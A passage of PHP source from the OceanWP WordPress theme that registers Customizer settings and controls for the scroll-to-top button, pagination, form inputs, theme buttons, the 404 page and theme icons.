) ); /** * Section */ $wp_customize->add_section( 'ocean_general_scroll_top', array( 'title' => esc_html__( 'Scroll To Top', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Scroll To Top */ $wp_customize->add_setting( 'ocean_scroll_top', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_scroll_top', array( 'label' => esc_html__( 'Scroll Up Button', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top', 'priority' => 10, ) ) ); /** * Scroll Top Arrow */ $wp_customize->add_setting( 'ocean_scroll_top_arrow', array( 'default' => 'angle_up', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new OceanWP_Customizer_Icon_Select_Multi_Control( $wp_customize, 'ocean_scroll_top_arrow', array( 'label' => esc_html__( 'Arrow Icon', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'type' => 'select', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', 'choices' => oceanwp_get_scrolltotop_icons( 'up_arrows' ), ) ) ); /** * Scroll Top Position */ $wp_customize->add_setting( 'ocean_scroll_top_position', array( 'transport' => 'postMessage', 'default' => 'right', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_scroll_top_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), ) ) ); /** * Scroll Top Bottom Position */ $wp_customize->add_setting( 'ocean_scroll_top_bottom_position', array( 'transport' => 'postMessage', 'default' => '20', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_scroll_top_bottom_position', array( 'label' => esc_html__( 'Bottom Position (px)', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_bottom_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ) ); /** * Scroll Top Size */ $wp_customize->add_setting( 'ocean_scroll_top_size', array( 'transport' => 'postMessage', 'default' => '40', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_scroll_top_size', array( 'label' => esc_html__( 'Button Size (px)', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', 'input_attrs' => array( 'min' => 0, 'max' => 60, 'step' => 1, ), ) ) ); /** * Scroll Top Icon Size */ $wp_customize->add_setting( 'ocean_scroll_top_icon_size', array( 'transport' => 'postMessage', 'default' => '18', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_scroll_top_icon_size', array( 'label' => esc_html__( 'Icon Size (px)', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_icon_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', 'input_attrs' => array( 'min' => 0, 'max' => 60, 'step' => 1, ), ) ) ); /** * Scroll Top Border Radius */ $wp_customize->add_setting( 'ocean_scroll_top_border_radius', array( 'transport' => 'postMessage', 'default' => '2', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_scroll_top_border_radius', array( 'label' => esc_html__( 'Border Radius (px)', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_border_radius', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Scroll Top Background Color */ $wp_customize->add_setting( 'ocean_scroll_top_bg', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.4)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_scroll_top_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', ) ) ); /** * Scroll Top Background Hover Color */ $wp_customize->add_setting( 'ocean_scroll_top_bg_hover', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.8)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_scroll_top_bg_hover', array( 'label' => esc_html__( 'Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_bg_hover', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', ) ) ); /** * Scroll Top Color */ $wp_customize->add_setting( 'ocean_scroll_top_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_scroll_top_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', ) ) ); /** * Scroll Top Hover Color */ $wp_customize->add_setting( 'ocean_scroll_top_color_hover', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_scroll_top_color_hover', array( 'label' => esc_html__( 'Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_scroll_top', 'settings' => 'ocean_scroll_top_color_hover', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_scrolltop', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_general_pagination', array( 'title' => esc_html__( 'Pagination', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Pagination Align */ $wp_customize->add_setting( 'ocean_pagination_align', array( 'transport' => 'postMessage', 'default' => 'right', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_pagination_align', array( 'label' => esc_html__( 'Align', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_align', 'priority' => 10, 'choices' => array( 'right' => esc_html__( 'Right', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'left' => esc_html__( 'Left', 'oceanwp' ), ), ) ) ); /** * Pagination Font Size */ $wp_customize->add_setting( 'ocean_pagination_font_size', array( 'transport' => 'postMessage', 'default' => '18', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_pagination_font_size', array( 'label' => esc_html__( 'Font Size (px)', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_font_size', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Pagination Border Width */ $wp_customize->add_setting( 'ocean_pagination_border_width', array( 'transport' => 'postMessage', 'default' => '1', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_pagination_border_width', array( 'label' => esc_html__( 'Border Width (px)', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_border_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 20, 'step' => 1, ), ) ) ); /** * Pagination Background Color */ $wp_customize->add_setting( 'ocean_pagination_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_pagination_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_bg', 'priority' => 10, ) ) ); /** * Pagination Background Color Hover */ $wp_customize->add_setting( 'ocean_pagination_hover_bg', array( 'transport' => 'postMessage', 'default' => '#f8f8f8', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_pagination_hover_bg', array( 'label' => esc_html__( 'Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_hover_bg', 'priority' => 10, ) ) ); /** * Pagination Color */ $wp_customize->add_setting( 'ocean_pagination_color', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_pagination_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_color', 'priority' => 10, ) ) ); /** * Pagination Color Hover */ $wp_customize->add_setting( 'ocean_pagination_hover_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_pagination_hover_color', array( 'label' => esc_html__( 'Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_hover_color', 'priority' => 10, ) ) ); /** * Pagination Border Color */ $wp_customize->add_setting( 'ocean_pagination_border_color', array( 'transport' => 'postMessage', 'default' => '#e9e9e9', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_pagination_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_border_color', 'priority' => 10, ) ) ); /** * Pagination Border Color Hover */ $wp_customize->add_setting( 'ocean_pagination_border_hover_color', array( 'transport' => 'postMessage', 'default' => '#e9e9e9', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_pagination_border_hover_color', array( 'label' => esc_html__( 'Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_pagination', 'settings' => 'ocean_pagination_border_hover_color', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_general_forms', array( 'title' => esc_html__( 'Forms (Input - Textarea)', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Forms Label Color */ $wp_customize->add_setting( 'ocean_label_color', array( 'transport' => 'postMessage', 'default' => '#929292', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_label_color', array( 'label' => esc_html__( 'Label Color', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => 'ocean_label_color', 'priority' => 10, ) ) ); /** * Forms Padding */ $wp_customize->add_setting( 'ocean_input_top_padding', array( 'transport' => 'postMessage', 'default' => '6', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_right_padding', array( 'transport' => 'postMessage', 'default' => '12', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_bottom_padding', array( 'transport' => 'postMessage', 'default' => '6', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_left_padding', array( 'transport' => 'postMessage', 'default' => '12', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_input_padding_dimensions', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => array( 'desktop_top' => 'ocean_input_top_padding', 'desktop_right' => 'ocean_input_right_padding', 'desktop_bottom' => 'ocean_input_bottom_padding', 'desktop_left' => 'ocean_input_left_padding', 'tablet_top' => 'ocean_input_tablet_top_padding', 'tablet_right' => 'ocean_input_tablet_right_padding', 'tablet_bottom' => 'ocean_input_tablet_bottom_padding', 'tablet_left' => 'ocean_input_tablet_left_padding', 'mobile_top' => 'ocean_input_mobile_top_padding', 'mobile_right' => 'ocean_input_mobile_right_padding', 'mobile_bottom' => 'ocean_input_mobile_bottom_padding', 'mobile_left' => 'ocean_input_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Forms Font Size */ $wp_customize->add_setting( 'ocean_input_font_size', array( 'transport' => 'postMessage', 'default' => '14', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_input_font_size', array( 'label' => esc_html__( 'Font Size (px)', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => 'ocean_input_font_size', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Forms Border Width */ $wp_customize->add_setting( 'ocean_input_top_border_width', array( 'transport' => 'postMessage', 'default' => '1', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_right_border_width', array( 'transport' => 'postMessage', 'default' => '1', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_bottom_border_width', array( 'transport' => 'postMessage', 'default' => '1', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_left_border_width', array( 'transport' => 'postMessage', 'default' => '1', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_input_tablet_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_tablet_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_tablet_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_tablet_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_input_mobile_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_input_border_width_dimensions', array( 'label' => esc_html__( 'Border Width (px)', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => array( 'desktop_top' => 'ocean_input_top_border_width', 'desktop_right' => 'ocean_input_right_border_width', 'desktop_bottom' => 'ocean_input_bottom_border_width', 'desktop_left' => 'ocean_input_left_border_width', 'tablet_top' => 'ocean_input_tablet_top_border_width', 'tablet_right' => 'ocean_input_tablet_right_border_width', 'tablet_bottom' => 'ocean_input_tablet_bottom_border_width', 'tablet_left' => 'ocean_input_tablet_left_border_width', 'mobile_top' => 'ocean_input_mobile_top_border_width', 'mobile_right' => 'ocean_input_mobile_right_border_width', 'mobile_bottom' => 'ocean_input_mobile_bottom_border_width', 'mobile_left' => 'ocean_input_mobile_left_border_width', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Forms Border Radius */ $wp_customize->add_setting( 'ocean_input_border_radius', array( 'transport' => 'postMessage', 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_input_border_radius', array( 'label' => esc_html__( 'Border Radius (px)', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => 'ocean_input_border_radius', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Forms Border Color */ $wp_customize->add_setting( 'ocean_input_border_color', array( 'transport' => 'postMessage', 'default' => '#dddddd', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_input_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => 'ocean_input_border_color', 'priority' => 10, ) ) ); /** * Forms Border Color Focus */ $wp_customize->add_setting( 'ocean_input_border_color_focus', array( 'transport' => 'postMessage', 'default' => '#bbbbbb', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_input_border_color_focus', array( 'label' => esc_html__( 'Border Color: Focus', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => 'ocean_input_border_color_focus', 'priority' => 10, ) ) ); /** * Forms Background Color */ $wp_customize->add_setting( 'ocean_input_background', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_input_background', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => 'ocean_input_background', 'priority' => 10, ) ) ); /** * Forms Color */ $wp_customize->add_setting( 'ocean_input_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_input_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_general_forms', 'settings' => 'ocean_input_color', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_general_theme_button', array( 'title' => esc_html__( 'Theme Buttons', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Theme Buttons Padding */ $wp_customize->add_setting( 'ocean_theme_button_top_padding', array( 'transport' => 'postMessage', 'default' => '14', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_theme_button_right_padding', array( 'transport' => 'postMessage', 'default' => '20', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_theme_button_bottom_padding', array( 'transport' => 'postMessage', 'default' => '14', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_theme_button_left_padding', array( 'transport' => 'postMessage', 'default' => '20', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_theme_button_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_theme_button_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_theme_button_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_theme_button_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_theme_button_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_theme_button_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_theme_button_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_theme_button_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_theme_button_padding_dimensions', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_general_theme_button', 'settings' => array( 'desktop_top' => 'ocean_theme_button_top_padding', 'desktop_right' => 'ocean_theme_button_right_padding', 'desktop_bottom' => 'ocean_theme_button_bottom_padding', 'desktop_left' => 'ocean_theme_button_left_padding', 'tablet_top' => 'ocean_theme_button_tablet_top_padding', 'tablet_right' => 'ocean_theme_button_tablet_right_padding', 'tablet_bottom' => 'ocean_theme_button_tablet_bottom_padding', 'tablet_left' => 'ocean_theme_button_tablet_left_padding', 'mobile_top' => 'ocean_theme_button_mobile_top_padding', 'mobile_right' => 'ocean_theme_button_mobile_right_padding', 'mobile_bottom' => 'ocean_theme_button_mobile_bottom_padding', 'mobile_left' => 'ocean_theme_button_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Theme Buttons Border Radius */ $wp_customize->add_setting( 'ocean_theme_button_border_radius', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_theme_button_border_radius', array( 'label' => esc_html__( 'Border Radius (px)', 'oceanwp' ), 'section' => 'ocean_general_theme_button', 'settings' => 'ocean_theme_button_border_radius', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Theme Buttons Background Color */ $wp_customize->add_setting( 'ocean_theme_button_bg', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_theme_button_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_general_theme_button', 'settings' => 'ocean_theme_button_bg', 'priority' => 10, ) ) ); /** * Theme Buttons Background Color Hover */ $wp_customize->add_setting( 'ocean_theme_button_hover_bg', array( 'transport' => 'postMessage', 'default' => '#0b7cac', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_theme_button_hover_bg', array( 'label' => esc_html__( 'Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_theme_button', 'settings' => 'ocean_theme_button_hover_bg', 'priority' => 10, ) ) ); /** * Theme Buttons Color */ $wp_customize->add_setting( 'ocean_theme_button_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_theme_button_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_general_theme_button', 'settings' => 'ocean_theme_button_color', 'priority' => 10, ) ) ); /** * Theme Buttons Color Hover */ $wp_customize->add_setting( 'ocean_theme_button_hover_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_theme_button_hover_color', array( 'label' => esc_html__( 'Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_theme_button', 'settings' => 'ocean_theme_button_hover_color', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_general_error_page', array( 'title' => esc_html__( '404 Error Page', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Blank Page */ $wp_customize->add_setting( 'ocean_error_page_blank', array( 'default' => 'off', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_error_page_blank', array( 'label' => esc_html__( 'Blank Page', 'oceanwp' ), 'description' => esc_html__( 'Enable this option to remove all the elements and have full control of the 404 error page.', 'oceanwp' ), 'section' => 'ocean_general_error_page', 'settings' => 'ocean_error_page_blank', 'priority' => 10, 'choices' => array( 'on' => esc_html__( 'On', 'oceanwp' ), 'off' => esc_html__( 'Off', 'oceanwp' ), ), ) ) ); /** * Page 404 Logo */ $wp_customize->add_setting( 'ocean_404_logo', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_404_logo', array( 'label' => esc_html__( '404 Logo', 'oceanwp' ), 'description' => esc_html__( 'Select a 404 logo.', 'oceanwp' ), 'section' => 'ocean_general_error_page', 'settings' => 'ocean_404_logo', 'priority' => 10, ) ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_error_page_layout', array( 'default' => 'full-width', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_error_page_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_general_error_page', 'settings' => 'ocean_error_page_layout', 'priority' => 10, 'choices' => array( 'full-width' => OCEANWP_INC_DIR_URI . 'customizer/assets/img/fw.png', 'full-screen' => OCEANWP_INC_DIR_URI . 'customizer/assets/img/fs.png', ), ) ) ); /** * Template */ $wp_customize->add_setting( 'ocean_error_page_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_error_page_template', array( 'label' => esc_html__( 'Select Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_error_page', 'settings' => 'ocean_error_page_template', 'priority' => 10, 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Section Theme Icons * * @since 2.0 */ $wp_customize->add_section( 'ocean_general_theme_icons', array( 'title' => esc_html__( 'Theme Icons', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Choose Default Theme Icons */ $wp_customize->add_setting( 'ocean_theme_default_icons', array( 'default' => 'sili', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_theme_default_icons', array( 'label' => esc_html__( 'Select Icons', 'oceanwp' ), 'description' => esc_html__( 'Choose icons you would like to use in the theme.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_theme_icons', 'settings' => 'ocean_theme_default_icons', 'priority' => 10, 'choices' => array( 'svg' => esc_html__( 'Ocean SVG Icons', 'oceanwp' ), 'sili' => esc_html__( 'Simple Line Icons', 'oceanwp' ), 'fai' => esc_html__( 'Font Awesome Icons', 'oceanwp' ), ), ) ) ); /** * Blog Entries Meta Icons Color */ $wp_customize->add_setting( 'ocean_theme_blog_posts_icons_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_theme_blog_posts_icons_color', array( 'label' => esc_html__( 'Blog Entries Icons: Color', 'oceanwp' ), 'section' => 'ocean_general_theme_icons', 'settings' => 'ocean_theme_blog_posts_icons_color', 'priority' => 10, ) ) ); /** * Single Blog Post Meta Icons Color */ $wp_customize->add_setting( 'ocean_theme_single_post_icons_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_theme_single_post_icons_color', array( 'label' => esc_html__( 'Single Post Icons: Color', 'oceanwp' ), 'section' => 